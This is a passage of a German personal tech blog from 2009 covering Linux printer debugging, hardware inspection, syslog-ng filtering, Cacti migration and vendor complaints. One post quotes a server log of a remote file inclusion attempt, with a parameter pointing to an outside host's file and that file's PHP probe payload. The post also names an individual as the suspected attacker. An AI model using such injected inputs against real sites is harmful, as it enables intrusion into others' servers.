Woman: (didactically snobbish) We don’t want your money. No. Enjoy the pizza, but you can’t steal other people’s things. You can’t take what’s not yours
Quelle: Dovecote Records
Wer die Pointe nicht begreift: Mit Limewire werden täglich Millionen von urheberrechtlich geschützten Musik- und Filmtitel getauscht ...
Donnerstag, Juli 02, 2009
lprng debuggen
Gerade habe ich eine Stunde mit debuggen von LPRng verbracht, bis ich schlussendlich feststellen musste, dass das angebliche Druckerproblem mit einem Kaltstart des Druckers (!) gelöst werden konnte.
Dennoch ist es für die Nachwelt sicherlich von Interesse, wie man LPRng im speziellen und Druckerprobleme unter Linux im allgemeinen debuggt.
lprng ausschalten
Damit man ungestörten Zugriff auf den Parallelport hat, schaltet man kurzerhand den von Debian automatisch geladenen Druckserver aus:
# /etc/init.d/lprng stop
Module überprüfen
Anschliessend überprüfen wir grundlegend, ob die Parallelporttreiber geladen wurden:
$ lsmod | grep lp lp 11076 0 parport 34280 2 lp,parport_pc
Berechtigungen des Parallelports
$ ls -l /dev/lp0 crw-rw---- 1 root lp 6, 0 2009-07-02 13:07 /dev/lp0
Sieht gut aus. Falls der Port nicht existiert, legt man in anhand einer anderen auf diesem Blog publizierten Anleitung an.
Auf Parallelport drucken
# cat sample.ps > /dev/lp0
ACHTUNG: Drucker, die kein Postscript sprechen (würde ich nie mehr in meinem Leben anschaffen!), werden seitenweise kryptische Codes ausdrucken. Eine Beispieldatei im Postscript-Format findet sich unter samplec.ps
In meinem Fall beendete sich dieser Befehl auch nach 20 Sekunden nicht, weshalb ich ihn mit Ctrl+C von Hand abbrechen musste (ansonsten hat man nach 1-2 Sekunden wieder freie Hand, sofern die Postscript-Datei nicht gerade 50 MB gross ist ...). Hier ging mir plötzlich ein Lichtlein auf, dass das Problem wohl nicht am Druckserver selber zu suchen war, sondern irgendwo an oder zwischen dem Drucker und dem Server lag.
lprng debuggen
Wenn bis hierhin alles geklappt hat, muss das Problem wirklich an lprng liegen. Deshalb starten wir den Druckserver im Debug-Modus:
# lpd -F -D1 >&/tmp/lprng.debug &
Ich habe Werte für D von 1, 2 und 9 ausprobiert, hat alles geklappt. In /tmp/lprng.debug werden alle Statusmeldungen akribisch aufgelistet. Anhand dieser ist es im Zusammenspiel mit Google möglich, andere Leidensgenossen zu finden und eventuell sogar die Lösung des Problems präsentiert zu erhalten.
Samstag, Juni 20, 2009
Systeminformationen in der Linux-Shell auslesen
Da unser Printserver auf der Arbeit in letzter Zeit oftmals einen ausgereizten Arbeitsspeicher meldet, werde ich heute ein, zwei zusätzliche Riegel RAM installieren gehen. Doch was für Module muss ich in unserem Ersatzteil-Lager suchen? Mit einem SSH-Zugang ist es absolut kein Problem, alle Fragen zu klären:
PCI-Bus auslesen
Zeigt die Chipsets und alle verbauten PCI-Karten an:
$ lspci 00:00.0 Host bridge: Intel Corporation 82815 815 Chipset Host Bridge and Memory Controller Hub (rev 04) 00:02.0 VGA compatible controller: Intel Corporation 82815 Chipset Graphics Controller (CGC) (rev 04) 00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 02) 00:1f.0 ISA bridge: Intel Corporation 82801BA ISA Bridge (LPC) (rev 02) 00:1f.1 IDE interface: Intel Corporation 82801BA IDE U100 Controller (rev 02) 00:1f.4 USB Controller: Intel Corporation 82801BA/BAM USB Controller #1 (rev 02) 00:1f.5 Multimedia audio controller: Intel Corporation 82801BA/BAM AC'97 Audio Controller (rev 02) 02:08.0 Ethernet controller: Intel Corporation 82801BA/BAM/CA/CAM Ethernet Controller (rev 01)
CPU-Eigenschaften auslesen
Verbaut ist also ein Pentium III ("model name") mit 1 GHz ("cpu MHz"):
$ cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 8 model name : Pentium III (Coppermine) stepping : 10 cpu MHz : 996.828 cache size : 256 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse up bogomips : 1995.74 clflush size : 32 power management:
RAM-Typ
Auf das Tool dmidecode bin ich über der Blog-Artikel Linux: Check Ram Speed and Type aufmerksam geworden. Wie die nachfolgende Ausgabe zeigt, ist momentan ein RAM-Baustein verbaut - und zwar ein Riegel SDRAM 133 MHz mit einer Kapazität von 256 MB. Weiter hat es anscheinend noch Platz für zwei weitere Module ("Size: No Module Installed"). Um was für Speicher es sich beim letzten Eintrag handelt, weiss ich hingegen nicht.
# dmidecode --type 17
# dmidecode 2.9
SMBIOS 2.3 present.
Handle 0x0023, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0021
Error Information Handle: Not Provided
Total Width: 64 bits
Data Width: 64 bits
Size: 256 MB
Form Factor: DIMM
Set: None
Locator: XMM1
Bank Locator: Not Specified
Type: SDRAM
Type Detail: Synchronous
Speed: 133 MHz (7.5 ns)
Manufacturer: JEDEC ID:C1 49 4E 46 49 4E 45 4F
Serial Number: EEC20808
Asset Tag: Not Specified
Part Number: HYS64V32300GU-7.5.
Handle 0x0024, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0021
Error Information Handle: Not Provided
Total Width: Unknown
Data Width: Unknown
Size: No Module Installed
Form Factor: DIMM
Set: None
Locator: XMM2
Bank Locator: Not Specified
Type: SDRAM
Type Detail: Synchronous
Speed: Unknown
Manufacturer: JEDEC ID:
Serial Number:
Asset Tag: Not Specified
Part Number:
Handle 0x0025, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0021
Error Information Handle: Not Provided
Total Width: Unknown
Data Width: Unknown
Size: No Module Installed
Form Factor: DIMM
Set: None
Locator: XMM3
Bank Locator: Not Specified
Type: SDRAM
Type Detail: Synchronous
Speed: Unknown
Manufacturer: JEDEC ID:
Serial Number:
Asset Tag: Not Specified
Part Number:
Handle 0x0027, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0022
Error Information Handle: Not Provided
Total Width: 4 bits
Data Width: 4 bits
Size: 512 kB
Form Factor: Chip
Set: None
Locator: XU15
Bank Locator: Not Specified
Type: Flash
Type Detail: Non-Volatile
Speed: Unknown
Manufacturer: Not Specified
Serial Number: Not Specified
Asset Tag: Not Specified
Part Number: Not Specified
Nachtrag
Wie ich vor Ort feststellen musste, unterstützt Intels 815er Chipset nur maximal 512MB RAM - egal, ob im dritten DIMM-Slot noch 256MB stecken oder nicht ...
Labels: CLI, IT, Linux, PC-Support, Shell
Mittwoch, Juni 10, 2009
Microsoft festgefahren
Microsoft's monopoly essentially attacked itself as if an autoimmune disorder; the company has worked so hard to prevent new competitors from entering the market that it now can't offer anything really new itself either.
Quelle: AppleInsider | Snow Leopard gets richer, thinner, cheaper than Windows 7
Mit jedem Tag fällt Microsoft einen Schritt weiter hinter die Konkurrenz. Die langen Produktentwicklungszyklen, die Microsoft in vielen Bereichen an den Tag legt (Client-Betriebssystem, Browser, Service Packs, etc.) sind im Zeitalter des Internets und der ewigen Betas ein immens grosser Nachteil. Nur scheinen das die Entscheider bei Microsoft nicht bemerkt zu haben und vertrauen immer noch darauf, dass die Grosskunden, die den grössten Teil des Umsatzes generieren, noch konservativer und unbeweglicher sind als der Softwarekonzern.
Schauen wir uns einige konkrete Produkte an:
Während für Mac OS X 10.5 seit Oktober 2007 sieben kleinere Upgrades herausgekommen sind, haben wir bei Windows Vista bisher zwei grosse, fette Service Packs gesehen. Schaut man sich zudem an, wie viele Betriebssystem-Versionen seit 2000 herausgekommen sind, sieht die Bilanz für Microsoft noch schlimmer aus: Erst im nächsten Jahr - so Gates ... eh, Gott will - wird Windows 7 erscheinen, was vier Betriebsssystem-Versionen in 10 Jahren entspricht. Bei Mac OS X werden es deren sechs sein.
Weiteres Beispiel gefällig? Browser. Der Internet Explorer 6 erschien im ... bitte festhalten ... August 2001! Gerade im schnelllebigen Web ist es Pflicht, dass ein Unternehmen fähig ist, innert 365 Tagen eine neue Browserversion herauszubringen, die neuesten Entwicklungen Rechnung trägt. Ah, und standardkonform sollte das Ding natürlich auch sein. Nachdem Microsoft wieder einige Gänge zugelegt hat, ist nun mittlerweile Internet Explorer 8 draussen. Das Produkt hinkt aber - wen wunderts - immer noch Jahre hinter der Konkurrenz hinterher. Aber bitte, es soll dies niemand den letzten verbliebenen Endanwender stecken. 8 Jahre - 3 Versionen. Safari 1.0 erschien im Juni 2003; die Version 4.0 ist gestern Montag veröffentlicht worden. 6 Jahre - 4 Versionen.
Na, klingelts?
Microsoft gerät deshalb ins Hintertreffen, weil es anscheinend gerade dieses Ur-Gestein im Software-Markt nicht schafft, Produktupdates derart klein zu halten, dass seine Entwickler sie tatsächlich innert der selbst gesetzten Frist fertigstellen kann. Weniger ist mehr! Ob es an der veralteten Code-Basis liegt? Die Konkurrenz zeigt jedenfalls nicht nur, dass man ehrgeizige Zeitpläne durchaus einhalten kann, sondern die neuen Versionen auch mit tatsächlich erlebbaren Features anreichern kann. Aber vielleicht sind die Microsoftschen Produktzyklen nicht die Ursache des Mankos, sondern nur die Symptome von viel grösseren internen Problemen.
Weiterführender Link: Why Apple wins. every. time.
Oh, you like the Pre. Here’s the 3G for 99 bucks. YThanks for the three days, Palm. And how about the G2 having no headphone jack. Apple doesn’t even have to win with this kind of competition. Seriously, who is the guy at Google who didn’t step up and flag that at the meeting?
Kurz: Wenn heute jemand Blitzkriege führt, dann ist es Apple. Auf diese Panzertruppe ist jeder Kompetitor neidisch.
Montag, Juni 08, 2009
Wie sag ich's dem Computer?
Programming is really just the act of teaching a computer how to do something that you know how to do yourself. It's a matter of understanding how to do something and then translating your thoughts into computer code.
Quelle: How to "think" as a programmer : reddit.com
Labels: Computer, IT, Programmierung
Samstag, Juni 06, 2009
Mein erstes "Hello World!"
I wrote my first traditional program using BASIC on an Apple II circa 1982. The program printed my name on the screen. At the time, it was the coolest thing I’d ever seen.
Quelle: Hivelogic - Regarding The Switch to ExpressionEngine
Mir ging es irgendwann einmal vor 1995 genau gleich: Mein erstes BASIC-Programm auf einem betagten i286er veränderte mein Verhältnis zum Computer für immer. Auf einmal konnte man der Maschine Befehle erteilen - und noch viel spannender, mittels einer Eingabeaufforderung Variablen einlesen. Der Rest meiner Familie kann sich vielleicht noch vage daran erinnern, als ich sie zum ersten Mal vor den Computer setzte und mit einem von mir geschriebenen BASIC-Programm interagieren lies.
Die Routine funktionierte etwa folgendermassen (Pseudo-Code):
echo "Wie heissen Sie?"
input $name
echo "Hallo $name. In welchem Jahr wurden Sie geboren?"
input $year
$age = date('Y') - $year
echo "Lieber $name, Sie sind heute $age Jahre alt."
exit 0
Das war der Hammer - auch wenn die Nicht-Geeks um mich herum still den Kopf schüttelten. Abgesehen von Kollege Stewä interessierten sich auch viele (männliche) Klassenkollegen nicht für diesen Durchbruch. Ich kann mich ganz genau daran erinnern, wie Kollege Fabio arrogant reagierte: "Ja und?". Zum Glück habe ich mich von solchen Reaktionen nicht beirren lassen.
Labels: Computer, Geschichte, IT, Jugend, Programmierung, Schule
Dienstag, Juni 02, 2009
Wie man als Programmierer seinen Arbeitsplatz auf Lebzeiten sichert
Köstlich - der ganze Artikel muss gelesen werden!
If you call your variables a, b, c, then it will be impossible to search for instances of them using a simple text editor. Further, nobody will be able to guess what they are for.
Quelle: How To Write Unmaintainable Code
Labels: Arbeitsleben, Arbeitslosigkeit, Funny, IT, Programmierung, Web-Entwicklung
Dienstag, Juni 02, 2009
Wie man sich bei Web-Buden anständig bewirbt
Was ich in einem früheren Artikel bereits auf meine Art ausgedrückt habe, schildert David von 37Signals auf Englisch und aus aktuellem Anlass (Suche nach einem "Junior Support Programmer"):
This advice is probably exactly the opposite of what you’ll if you’re aiming to get into a big shop with a formal HR department. In that scenario, it’s often last man standing in the numbers game and checklist requirements. Personality doesn’t matter to make it through the first cut.
But when you’re looking to get hired by managers who actually have to work with you, personality is almost all that matters to get to the interview. So beef up your cover letter and let your personality shine [...]
Quelle: Forget the resume, kill on the cover letter - (37signals)
Mit ein Grund, wieso ich die ersehnte Anstellung bei Liip gekriegt habe, war genau ein solcher nicht standardkonformer Begleitbrief zum Bewerbungsschreiben - das wurde mir von einem der neuen Chefs nach einige Arbeitswochen explizit so mit auf den Weg gegeben. Inwiefern darin meine tatsächliche "Personality" durchschien, könnte das Liip-Management mittlerweile sicherlich sehr gut beurteilen ... Auf jeden Fall hatte der Brief die Aufmerksamkeit der Rekrutierenden geweckt.
Labels: Arbeitsleben, Bewerbung, IT, Job, Schweiz, Web, Web-Entwicklung
Dienstag, Mai 26, 2009
Unser vetterliwirtschaftliche Bundesverwaltung schafft es auf reddit!
Red Hat Sues Switzerland Over Microsoft Monopoly - Linux vendor Red Hat, and 17 other vendors, have protested a Swiss government contract given to Microsoft without any public bidding
Ein grosses Bravo und Dankeschön an Red Hat, um unser Seldwyla in aller Welt bekannt zu machen. Ein weiteres Beispiel dafür, dass unsere Bundesverwaltung von Gehilfen unzähliger Microsoft-, Oracle- und SAP-Beratern durchsetzt ist.
Labels: Bund, Bundesverwaltung, IT, Linux, Microsoft, Opensource, OSS
Sonntag, Mai 03, 2009
cacti-Verzeichnis zügeln
In den letzten Tagen habe ich die Verzeichnisstruktur auf meinem lokalen Web-Server angepasst. Unter anderem war von dieser Säuberungsaktion auch meine cacti-Installation betroffen.
Nachdem ich mich einige Stunden über nicht aktualisierte Graphen geärgert hatte, fand ich zu später Stunde dann endlich die Lösung des Problems:
UPDATE poller_item SET rrd_path = REPLACE(rrd_path,'/var/www/cacti/','/var/www/system/cacti/') UPDATE poller_item SET arg1 = REPLACE(arg1,'/var/www/cacti/','/var/www/system/cacti/')
Offensichtlich ist die Software nicht derart intelligent programmiert, dass Verzeichniswechsel reibungslos über die Bühne gehen. Wieso Script-Pfade absolut und nicht wie beispielsweise die RRAs relativ in der Datenbank abgelegt werden, ist mir ein Rätsel.
Schriften
Als nützlicher Nebeneffekt konnte ich in diesem Anlauf in der Administrationsoberfläche auch endlich anständige Schriften definieren - vorher wurden Graphen in einer wüsten Serifenschrift ausgegeben. In Debian ist die wohl beste Schrift für RRD-Graphen die DejaVu Sans, welche unter folgendem Pfad liegt:
/usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf
Sonntag, Mai 03, 2009
Jetzt kommt auch noch die SAP-Abwrackprämie
Gemäss einem Inserat in der heutigen SonntagsZeitung übernimmt ein findiges Unternehmen
Speziell in wirtschaftlich schwierigen Zeiten ist ein stabiles, homogenes und zukunftsorientiertes ERP-System zu erschwinglichem Preis unverzichtbar. Denn nur dieses sichert Ihnen komplett durchgängige, effiziente und transparente Geschäftsprozesse.
Quelle: .: resource-Abwrackaktion: 50'000 für Ihr altes ERP-System :.
Abgesehen davon, dass das Inserat wohl vom Sohn des CEOs "designt" wurde (ich zähle vier Schriftschnitte und ebensoviele Schriftfarben), weiss ich nicht, ob obige Aussage wirklich so wunderbar auf SAP zutrifft? Der Kostenerlass von 50'000CHF kann aus dieser Sicht eher als vorgezogenes Schmerzensgeld gezählt werden ...
Montag, April 27, 2009
Welche Drupal-Version läuft auf meinem Server?
If CHANGELOG.txt is missing, you can also check in system.module for a line at the top like:
define('VERSION', '5.5');If this is present, it will tell you which version you are running. If not, you have a version earlier than 4.7.2.
Quelle: Drupal version numbering | drupal.org
Labels: IT, Programmierung, Web, Web-Entwicklung
Montag, April 06, 2009
Abstruse Verwendung von Microsoft Excel
Bisher habe ich alle Termine in einen selbstgeschriebenen Programm (Excel/VisualBasic) verwaltet.
Quelle: Thunderbird Mail DE • Thema anzeigen - Termine aus Excel importieren
Wieder einen Eintrag mehr in meiner Liste der "schlimmsten Excel-Vergewaltigungen". Oh Microsoft, mit VisualBasic hast du unbedarften Excel-Benutzern eine Massenvernichtungswaffe in die Hände gedrückt ...
Montag, April 06, 2009
syslog von Ballast befreien
Die /var/log/syslog füllt sich unter Debian Linux sehr schnell mit viel nichtssagendem Ballast, weshalb ich mich heute dazu entschied, mal ein wenig aufzuräumen. Die Meldungen von cron (läuft bei mir jede Minute mit irgendwelchen Befehlen), dhcpd (im Netzwerk gibt es ein Gerät, dass jede Sekunde einen DHCP-Request sendet) sowie snmpd (cacti frägt den Systemzustand in jeder Minute ab) sollten neu aus der /var/log/syslog in eigene Log-Dateien ausgelagert werden.
Folgende Anpassungen an /etc/syslog-ng/syslog-ng.conf taten den Trick.
Als erstes legt man neue Destinationen fest:
destination df_cron { file("/var/log/cron.log"); };
destination df_dhcpd { file("/var/log/dhcpd.log"); };
destination df_snmpd { file("/var/log/snmpd.log"); };
Anschliessend legt man vier neue Filter fest:
filter f_cron { facility(cron); };
filter f_dhcpd { program(dhcpd); };
filter f_snmpd { program(snmpd); };
filter f_noise { not filter(f_snmpd) and not filter(f_dhcpd) and not filter(f_cron); };
Schlussendlich baut man diese als Log-Anweisungen zusammen:
log {
source(s_all);
filter(f_syslog);
filter(f_noise);
destination(df_syslog);
};
log {
source(s_all);
filter(f_cron);
destination(df_cron);
};
log {
source(s_all);
filter(f_dhcpd);
destination(df_dhcpd);
};
log {
source(s_all);
filter(f_snmpd);
destination(df_snmpd);
};
Nachdem man die Konfigurationsdatei gespeichert hat, startet man syslog-ng neu und erfreut sich über die Ruhe, die nun einkehrt:
# /etc/init.d/syslog-ng restart $ tail -f /var/log/syslog
Nachtrag
Natürlich wollte ich mir noch ein Bild machen, wie die Situation vor diesen neuen Umleitungen aussah. Erschreckend:
# cat syslog | cut -d " " -f 6 | sort | cut -d "[" -f 1 | sort | uniq -c | sort -r -n
2534 dhcpd:
2215 /USR/SBIN/CRON
1688 snmpd
392 kernel:
98 mt-daapd
55 syslog-ng
40 postfix/qmgr
36 avahi-daemon
31 smartd
26 ovpn-server
23 named
21 postfix/smtp
19 postfix/cleanup
18 postfix/pickup
9 mysqld
8 apcupsd
6 ntpdate
6 /etc/mysql/debian-start
4 /usr/sbin/cron
4 postfix/tlsmgr
3 arpwatch:
2 postfix/master
2 mysqld_safe
1 shutdown
1 postfix/local
1 mdadm
1 init:
Mein Gefühl hat sich bestätigt: Ich habe die richtigen "Übeltäter" in eigene Dateien ausgelagert.
Sonntag, April 05, 2009
Hard- und Software für Männer erklärt
Was heisst Software (SW) und Hardware (HW)?
Nehmen wir ein anschauliches Beispiel, die Bundeshaustelefonistin Pia beim Betreten des Marzili. Alles was wir von ihr sehen und anfassen können, aber auch ihr Magen, Herz usw. ist HW. Die Steuerung der Muskeln, die Pia beim Gehen benötigt, das Erkennen ihrer Umgebung und das Kommando zum Zuwinken ist SW. Es wird durch programmierte Abläufe von Pias Hirn aus gesteuert.
Deshalb sind auch viele weibliche Reaktionen (durch unerforschte SW Abläufe ausgelöst) für den oft nur die HW von Pia Erkennenden unerklärlich.
Quelle: Schweizerischer Weg zur digitalen Kommunikation
Labels: Bern, ETH, Funny, Informatik, IT, Universität, Zürich
Donnerstag, April 02, 2009
Übt sich Hajo Bakker als Script-Kiddie?
In meinen Server-Logs fand ich heute folgendes:
[01-Apr-2009 22:25:02] Unexpected array Array
(
[DOCUMENT_ROOT] => http://www.hajobakker.com/portfolio/id1v4.txt??
)
given in function page__get_query_string
Die Text-Datei auf seinem Server beinhaltete folgende PHP-Anweisungen:
<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
Wieso macht man sowas von seinem eigenen Server aus (notabene mit einem Domainnamen, der den Vor- und Nachnamen des "Hackers" enthält), wenn man angeblich seit 1991 in der IT arbeitet?!
Since 1991 I've held a variety of ICT related positions
Quelle: HajoBakker.com small-boat photography, motorcycle technique and more.
Labels: Hack, IT, Sicherheit, Web, Web-Entwicklung
Mittwoch, April 01, 2009
parlament.ch läuft mit Microsoft-Müll
die flex-applikation mit diversen flash-basierten komponenten liess sich problemlos in die site parlament.ch integrieren. in diesem fall handelte es sich um eine sharepoint-basierte website,
Quelle: nothing blog from outer space : Neue Sitzordnung im National- und Ständerat
Es wurde ja bereits seit längerem von den Dächern gezwitschert, dass dieser Server unter handgefrickelter, äusserst performanter Software aus Redmond lief. Eh ja, logisch! Schliesslich mussten dutzende zwischengeschaltete Consultants ihre 200 Franken pro Stunde absahnen ...
Ansonsten fände ich den "Pultlinachbar"-Browser von nothing durchaus angebracht - leider wird aber sowohl unter Nationalrat wie auch unter Ständerat nur das Get Flash-Icon angezeigt.
Mega-Fail! (Mac OS X 10.4.11, Safari 3.2, Shockwave Flash 9.0 r124)
Nachtrag: Mich stört übrigens das auf den Screenshots ersichtliche Checkbox-Label "Alle/Keine Fraktion/en". Aus Usability-Sicht sollte hätte dieser Knopf (meiner Meinung nach) auf zwei Radio-Buttons aufgeteilt werden müssen: "Alle Fraktionen" und "Keine Fraktionen" ...
Labels: Bund, IT, Parlament, Schweiz, Web-Entwicklung
Montag, März 30, 2009
Kostenloses WeatherCal (Wetterprognosen für den Kalender) für die Schweiz
"Was BareBonesSoftware kann, kann ich schon lange!" Gesagt, getan. Der Sinn und Unsinn von Wetterprognosen in der Kalendersoftware auf dem Computer und dem Smartphone sei dahingestellt.
Wer es mit Apples iCal, Microsofts Outlook oder Google Calendar ausprobieren möchte, abonniert einen oder mehrere der folgenden Links, die (hoffentlich) standardkonforme .ics-Daten liefern:
- 5-Tages-Prognose Bern
- 5-Tages-Prognose Fribourg
- 5-Tages-Prognose Zürich
- 5-Tages-Prognose Basel
- 5-Tages-Prognose Lausanne
- 5-Tages-Prognose Genf
Einige weitere Städte sind auch verfügbar. Man abonniere diese à la http://weather2ics.mad4you.homeip.net/stadt/. Es sind keine Sonderzeichen erlaubt.
Wie immer gilt: BETA! Kein Gewähr auf ordnungsgemässes funktionieren und 100-prozentige Verfügbarkeit des Servers.
Labels: IT, Web-Entwicklung
Dienstag, März 24, 2009
Twitter ein Must-Have
if Jesus Christ were alive today, he'd have a Twitter account and would be complaining about Judas in 140 characters or less.
Quelle: The Accidental Businessman: Important lessons nobody is going to learn from Twitter
Dienstag, März 24, 2009
Die VBZ wissen eindeutig zuviel
Die VBZ wissen ständig, auf welcher Linie gerade wie viele Schwarzfahrer unterwegs sind.
Quelle: Warum die VBZ wissen, wo die Schwarzfahrer sind - News Zürich: Stadt Zürich - tagesanzeiger.ch
"Wissen" tun die das garantiert nicht - höchstens die statistische Wahrscheinlichkeit ist hoch, auch die tatsächlich vermutete Zahl an Schwarzfahrern auf Grund von Berechnungen zu erwischen. Wir dürfen aber nicht vergessen, dass auch die lieben Banker-Freunde (Physiker, Mathematiker, teilweise sogar Nobel-Preisträger) vor noch nicht allzulanger Zeit das Gefühl hatten, sie wüssten alles, was man nur irgendwie berechnen könnte. Insbesondere was Finanzrisiken betrifft ...
Nichtdestotrotz: Als GA-Besitzer (meines wurde gerade erneuert, u.a. auch dank der Liip-Grati fürs 2008 - Merci Jungs & Mädels!) habe ich nichts zu befürchten. Und ich finde es selbstverständlich sinnvoll, dass die VBZ die Nadel nicht im Heuhaufen suchen, sondern die Computer Voraussagen treffen lassen.
Labels: IT, Oeffentlicher Verkehr, Statistik, Wissenschaft, Zürich
Sonntag, März 22, 2009
Geek macht seinem Namen alle Ehre
Failed CEO Dick Hardt Takes His Name Too Literally
Quelle: Geek Love: Failed CEO Dick Hardt Takes His Name Too Literally
Freitag, März 20, 2009
Wuala passt zu LaCie wie ...
... Skype damals zu eBay gepasst hat. Die Wuala-Eigentümer sind aber ganz anderer Meinung:
We believe it's the perfect match! Wuala stands for innovative online storage, while LaCie has become a synonym for premium quality and well-designed external storage hardware in the past 20 years.
Quelle: Wuala Blog
Mittwoch, März 04, 2009
Gegen Architecture Astronauts und für rasche Umsetzung
This is one reason why I'm so down on architecture astronauts. I find that the amount of discussion on a software feature is inversely proportional to its value. Sure, have some initial discussion to figure out your direction, but the sooner you can get away from airy abstractions, and down to the nuts and bolts of building the damn thing, the better off you -- and your project -- will be.
Quelle: Coding Horror: Procrastination and the Bikeshed Effect
Ich habe leider auch die Tendenz, mich mit abstrakten Fragen zu prokrastinieren. Gerade erst habe ich so wohl ein Software-Projekt unnötig verzögert ...
Labels: IT, Programmierung, Web-Entwicklung
Samstag, Februar 28, 2009
Wieder mal eine Microsoft Schauergeschichte ...
So when a DOS user saved the file “PRN.TXT”, the output appeared on the printer.
Quelle: The tale of “aux.c”
Samstag, Februar 28, 2009
HP Laserjet 1300 im Alltagsgebrauch (2)
Aus aktuellem Anlass (Toner leer) habe ich mir die Mühe genommen, die Kenndaten über meinen getreuen Schwarzweiss-Laserdrucker HP Laserjet 1300 zu aktualisieren. Die ersten Findings wurden im Dezember 2006 veröffentlicht.
Chronologisches
- Kaufdatum: 19. April 2004
- In meinem Besitz: 58 Monate
Druckvolumen
- Total 13'861 Seiten gedruckt
- 238 Seiten/Monat
- 8 Seiten/Tag
Kosten
- Gerät: 412.00 SFr.
- Toner 1: 118.00 SFr. (31. März 2005)
- Toner 2: 119.00 SFr. (27. Dezember 2006 - Druckvolumen: 3072 Seiten in 235 Jobs)
- Toner 3: 113.90 SFr. (29. Dezember 2008)
- Total: 763.00 SFr.
- Seitenpreis: 5.50 Rappen (ohne Blattkosten)
Wichtige Artikelnummern
- Q2613A - Toner für 2'500 Seiten
- Q2613X - Toner für 4'000 Seiten
- Q1887A - 64MB SDRAM DIMM
- Q2485A - Papierschacht für 250 Blatt
Donnerstag, Februar 26, 2009
Xerox Phaser 6300DN druckt nicht unter Mac OS X 10.4.11
Auf der Arbeit ging nach der Installation der neuesten Druckertreiber für einen Xerox Phaser 6300DN unter Mac OS X 10.4.11 gar nichts mehr: Druckaufträge wurden zwar CUPS übergeben und das Druckericon verschwand auch prompt wieder aus dem Dock. Doch der Netzwerkdrucker spuckte nichts aus!
Nachdem ich das Problem auf einem dritten Mac mit demselben Betriebssystem reproduziert hatte, begann das Debugging. Von einem Mitarbeiter wusste ich bereits, dass Druckaufträge a) von Mac OS X 10.5-Computern und diesem Treiber problemlos gedruckt wurden sowie b) Druckaufträge mit dem Generic Postscript Driver unter Mac OS X 10.4.11 auch funktionierten. Das Problem konnte also schlüssig auf einen fehlerhaften Treiber von Xerox, der Mutter aller Kopierer und Drucker, eingeschränkt werden.
Nachdem ich in /etc/cupsd.conf
LogLevel debug
gesetzt und den Mac-Druckserver neu gestartet hatte, fanden sich in Console.app in der Datei /var/log/cups/error_log weiterführende Informationen:
I [23/Feb/2009:14:48:26 +0100] Adding start banner page "none" to job 519. I [23/Feb/2009:14:48:26 +0100] Adding end banner page "none" to job 519. I [23/Feb/2009:14:48:26 +0100] Job 519 queued on 'Xerox_Phaser_6300' by 'mario'. I [23/Feb/2009:14:48:26 +0100] Started filter /usr/libexec/cups/filter/cgpdftops (PID 1322) for job 519. I [23/Feb/2009:14:48:26 +0100] Started filter /usr/libexec/cups/filter/pstops (PID 1323) for job 519. I [23/Feb/2009:14:48:26 +0100] Started filter /Library/Printers/Xerox/PDEs/pstophaserps (PID 1324) for job 519. I [23/Feb/2009:14:48:26 +0100] Started backend /usr/libexec/cups/backend/socket (PID 1325) for job 519. E [23/Feb/2009:14:48:26 +0100] PID 1324 stopped with status 2! I [23/Feb/2009:14:48:26 +0100] Hint: Try setting the LogLevel to "debug" to find out more.
Als ich mich zusätzlich an localhost:631/printers/ wandte und auf den entsprechenden Drucker klickte, sah ich auch dort die ähnliche Meldung
Description: Xerox Phaser 6300 Location: Printer State: idle, accepting jobs. "The process "pstophaserps" stopped unexpectedly with status 2" Device URI: socket://10.0.0.1/?bidi
Hmmm, was zum Teufel?
Xerox Hotline: Da werden sie nicht geholfen
Mit dieser konkreten Fehlermeldung bewaffnet meldete ich mich bei der Xerox-Supporthotline. Nachdem ich wie ein depperter mit der dort eingesetzten Spracherkennung gewrestelt hatte (der Begriff "Technische Hilfe" sowie die Seriennummer mussten klar und deutlich ausgesprochen werden, damit sie die Spracherkennungssoftware entschlüsseln konnte), wurde ich von einer Person "beraten", die ich leider sehr schlecht verstand. Xerox sollte unverzüglich eine genügende Menge Geld in die Headsets und Telefonleitungen ihres Callcenters investieren ... Zu allem Unglück nuschelte die Person am anderen Ende auch noch.
Ich erklärte dem "1st Level Supporter" mein Problem und wies auf die klare Fehlermeldung hin. Leider interessierte er sich nicht sonderlich dafür. Wichtiger fand er, dass mein Arbeitgeber keinen Wartungsvertrag mit Xerox besässe (seit wann hat ein Wartungsvertrag Einfluss auf einen korrekt funktionierenden Treiber!? Dieses Problem trifft alle Kunden, weshalb der Hersteller bedacht sein sollte, solche Hinweise dankbar entgegenzunehmen). Immerhin war er so freundlich und hielt Rücksprache mit seinen "Kollegen". Leider schienen die 2nd Leveller bereits beim Feierabendbier zu sein, weshalb er mich bat, am nächsten Tag erneut anzurufen. Bis dann hätte er sich bei ihnen über die Fehlerursache erkundigt.
Zweiter Anruf
Heute nun, einen Tag später als geplant, fand ich Zeit, den Support anzurufen. Ich hatte zwar eine andere Person am Draht, musste mich aber wieder mit der vorgeschalteten Spracherkennung messen. Der darauf freundlich grüssende Hotline-Mitarbeiter sprach komisches Deutsch in ein Headset, das höchstens für ein Drittweltland getaugt hätte.
Diesem Herr durfte ich erneut die ganze Geschichte erzählen - und auch dieser Herr schien sich stur an sein Script zu halten, anstelle sich dankend auf meine superbe Fehlermeldung einzugehen. Wieder bemerkte er den fehlenden Wartungsvertrag, doch auch er hielt dann Rücksprache mit den "Software-Leuten".
Da er mir immerhin aufmerksam zugehört hatte, als ich ihm erzählte, dass der Generic Poscript Driver funktionierte, kam er schlussendlich mit einem für Xerox klar unwürdigen Vorschlag zurück: Ich solle doch einfach die Xerox-PPD benutzen, um den Generic Postscript Driver damit zu überschreiben ... Kopfschüttelnd bedankte ich mich für die ausserordentliche Hilfe und hängte den Hörer auf die Gabel.
Die Lösung
